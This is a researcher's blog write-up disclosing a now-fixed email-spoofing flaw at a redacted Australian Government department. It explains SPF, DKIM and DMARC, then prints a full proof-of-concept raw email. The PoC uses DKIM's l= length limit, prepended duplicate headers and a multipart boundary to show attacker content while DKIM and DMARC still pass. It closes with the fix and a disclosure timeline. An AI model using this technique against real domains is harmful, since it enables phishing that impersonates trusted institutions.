Spoofing @GOV.AU Emails

How an identified email misconfiguration allowed spoofing of emails from a federal Australian Government department

I wokeup on Jan 10th, 2022 with an idiosyncratic desire to look deep into the depths of email security, namely SPF + DKIM + DMARC (herein SDD). For those that aren't aware, SDD are extensions on the 40+ year old mail transfer protocol (SMTP) to prevent spoofing and phishing attacks. In short, any email server can claim to be any sender. If it weren't for SDD, I could send emails from scomo@gov.au or markzucc@facebook.com arbitrarily. I hope you can appreciate the many ways that could be used to take advantage of people, their trust, and ultimately their money. Implementing SDD is one thing; but implementing them securely is another. The standards are surprisingly dense, leaving lots of room for misconfigurations that once again open up institutions to spoofing attacks. SPF spoofing and misconfigurations are relatively well known as covered in my previous blog post and a new tool I've written. Bypassing SDD by abusing DKIM? Not so much. This is the story of how I was able to send arbitrary emails from @xxx.gov.au.

DKIM Spiel

To pass DMARC validation (which is the authoritative record for whether an email is accepted), only SPF OR DKIM need to pass. In looking over my emails, something about emails from @xxx.gov.au, and their DKIM signatures caught my attention. SDD all improve email security in their own ways, but DKIM in particular cryptographically adds a signature (or a "digest") to emails that can be publicly validated. Describing this with words will put anyone to sleep, so why not cut to the chase and demo this with the xxx's (historic and since fixed) DKIM implementation.

xxx's Historic DKIM

There's three parts to DKIM:
  1. The sending mail server has a private key it signs mail with
  2. Each email's calculated signature is then added to the DKIM-Signature mail header. Here's a sample DKIM-Signature header from an email I previously received from the xxx:
    DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
      d=xxx.gov.au; i=@xxx.gov.au; l=4096; q=dns/txt; s=xxx;
      t=163XXX6311; x=166XXX2311;
      h=date:from:reply-to:subject:to:message-id:mime-version:
       content-transfer-encoding:content-id;
      bh=evbZN/q7XGwUAnj7jT/jMI3SeiQnLHooIUEuszWXXXX=;
      b=GhzoT9aXYR6dX+ZPnkBUTTuBYPNJMOy3I2i5ytWdjOjw5QPI5i4WXZQB
       Bz5UogkDn719f+X02EPswfzIAHXWA/ci0KB1zZJucBprgOVMUeG8R2D84
       mzg13oxtxB8VNwpvnb0kwBHwK7p/XXXXXXXXX/ed1xB3dyfvShiRbdfM
       VNDRhHp2AP5/IqRujM5h9Dyip55RWPFSqpZijtzYlOYaGWsskUxMB2miO
       z5iLmRpUo5IGSmdnHZZU8H8xah8pvtzOV+XXXXXXXXXXXX+WiUy0qhCTw
       sP9mm60ANM9UN1GBRjanbMLelkabHO22mBYmQ+QLzPHOZHoP8J7TBibj+
       A==;
  3. The receiving mail client then pulls the public key from the domain's DNS DKIM record, and validates the digest against the email contents. Using the selector s=xxx; from above, we can grab the public key from DNS:
    $ dig +short txt xxx._domainkey.xxx.gov.au
    v=DKIM1; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsnWBUjzLIeQwhxW1Gm353+TUWNAfz7fvtqX8rb550nn3584GNT0g8vP0H4/CT5B8nKu5TuuL2GsVRdwcAygrbMynZoYJA06DHjf9haIrcP0kw8b9spwl2iRr9Wkf4TTpDLLoPCEILbcglEZ/U/U5ybKvnUXe/XHDtW9Wwl2oJDAvIqJZgp4ptgj3q/jTPQCeEuvNbAyq msGDsqxVZAeWP91IbzGAXjVlJeaIzdoKT9tOlFc5mqMTNKg50LBbJlVnz9RYoirfj4wDaN1LJxk2CplB7j7CMvW7IjyJXgLSqDdC7md0aLr/kByh49JtpzGQRLabHNYgJJgTedug35Wi7QIDAQAB;
This results in:
  1. High(er) confidence the email is from the claimed organisation, and that it wasn't spoofed
    (A spoofer wouldn't have the organisations private DKIM keys)
  2. High(er) confidence the email wasn't tampered with whilst in transit
    (An altered email (headers or body) would change the signature, raising suspicion)

Exploitation

Now the xxx's DKIM-Signature header is fairly typical, but l=4096; is where the crux of the issue lies. It's a directive to specify how many bytes of the email to sign. I.e I could tack on extra content to the bottom of the email without invalidating the DKIM signature. However this isn't "clean" because I would need to keep the first original 4096 bytes of contents; which include "Hi Harrison". Also, the signature includes my To: address, so I'd only be spoofing the second-half of emails to myself... lame. We can do better. However, this DKIM-Signature header also doesn't oversign headers. The moment I alter the e.g To:, From:, or Subject: headers, the signature will invalidate, the mail client will nuke the email, and itsaalerts@xxx.gov.au will get a report dobbing me in
[?] This is because the DMARC policy that would fail if DKIM were to fail includes a reporting mechanism configured to get mail clients to send alerts to itsaalerts@xxx.gov.au
$ dig +short txt _dmarc.xxx.gov.au
v=DMARC1; p=reject; rua=mailto:itsaalerts@xxx.gov.au; ruf=mailto:itsaalerts@xxx.gov.au
. But... what if rather than altering the existing headers, I add my own?
Well as luck would have it, generally, in the case of a duplicate header, mail clients display and interpret the first instance, but calculates DKIM signatures on the final instance. I.e I can tack custom headers on top of the email and have them interpreted whilst avoiding invalidating DKIM. For fixes to these issues, see:
[?] Fixing the length thing is easy, drop the directive and sign the whole body. The reason this was even in the RFC is because often in mailing lists, signatures (like the visible things at the bottom of emails where you put your job title and contact number etc.) would get applied later in the process and break the end of the signature matching. But this isn't a problem for the xxx as they can sign the whole mail body. As for mucking around with the headers, the xxx need to oversign their headers. Oversigning means double-signing headers of concern e.g Subject:. So when the signature is calculated, the subject is signed twice as the interpreter wraps around the headers i.e orig subject + orig subject = valid signature. So if I were to add an extra header: rogue subject + orig subject = invalid signature.
.
The final trick is to use Content-Type magic (see below) to keep the original content (preserving the signature), but have the mail client use my content (allowing for 100% custom spoofed emails). Now that you understand the theory, here's the proof of concept. Black is the original text from the email sent to me by the xxx, red is superseded original text, and blue are my additions. If you're on mobile I recommend landscape.
Subject: Arbitrary adversary controlled content
From: Arbitrary adversary controlled content <arbitrary-adversary-controlled-content@xxx.gov.au>
Date: Mon, 17 Jan 2022 00:05:00 +1100 (AUS Eastern Daylight Time)
To: arbitrary-adversary-controlled-content@example.invalid
Content-Type: multipart/mixed; boundary=PWNED
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=xxx.gov.au; i=@xxx.gov.au; l=4096; q=dns/txt; s=xxx;
	t=1635336311; x=1666872311;
	h=date:from:reply-to:subject:to:message-id:mime-version:
	content-transfer-encoding:content-id;
	bh=evbZN/q7XGwUAnj7jT/jMI3SeiQnLHooIUEuszXXXXX=;
	b=GhzoT9aXYR6dX+ZPnkBUTTuBYPNJMOy3I2i5ytWdjOjw5QPI5i4WXZQB
	Bz5UogkDn719f+X02EPswfzIAHXWA/ci0KB1zZJucBprgOVMUeG8R2D84
	mzg13oxtxB8VNwpvnb0kwBHwK7p/XXXXXXXXXX/ed1xB3dyfvShiRbdfM
	VNDRhHp2AP5/IqRujM5h9Dyip55RWPFSqpZijtzYlOYaGWsskUxMB2miO
	z5iLmRpUo5IGSmdnHZZU8H8xah8pvtzOV+An6W8rTvO0TL+WiUy0qhCTw
	sP9mm60ANM9UN1GBRjanbMLelkabHO22mBYmQ+QLzPHOZHoP8J7TBibj+
	A==;
Date: Wed, XX Oct 2021 23:05:00 +1100 (AUS Eastern Daylight Time)
From: xxx <noreply@xxx.gov.au>
Reply-To: xxx@xxx.gov.au
Subject: =?UTF-8?Q?xxxxxxxxxxxxxxxxxxxxxxxxxx_[SEC=3DOFFICIAL]?=
To: xxxxxxxxxxxx@GMAIL.COM
Message-ID: <xxx@xxx.gov.au>
MIME-Version: 1.0
Content-Type: TEXT/html; CHARSET=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
Content-ID: <xxxxxxxxx@xxx.gov.au>

=EF=BB=BF<html lang=3D"en" style=3D"margin: 0;pad
	<SNIPped for brevity>
decoration: none;font-size: 20px;line-height: 24px">Hi HARRISON=
	<SNIPped for brevity>
tom: 24px;color: #000000;text-decoration: no <4096 byte cutoff>
--PWNED
Content-type: text/html

<html>Arbitrary adversary controlled content</html>
--PWNED--
Send that bad boy with Postfix and...
HTML email demonstrating the issue
Screenshot of a PoC as viewed through Gmail

Gmail saying the email passed DKIM and DMARC
Gmail saying that DKIM and DMARC passed (thus SPF needn't pass)

Timeline

11/1/2022 Learnt about l= and oversign issue
12/1/2022 Identified xxx as exploitable
13/1/2022 Proof of concept developed
16/1/2022 Notified ACSC/xxx of the issue
17/1/2022 Sent writeup
17/1/2022 Confirmed receipt and forwarded to xxx (at 11pm!)
24/2/2022 Issue confirmed fixed, and writeup permission permitted, given the exact department be redacted, hence the xxx's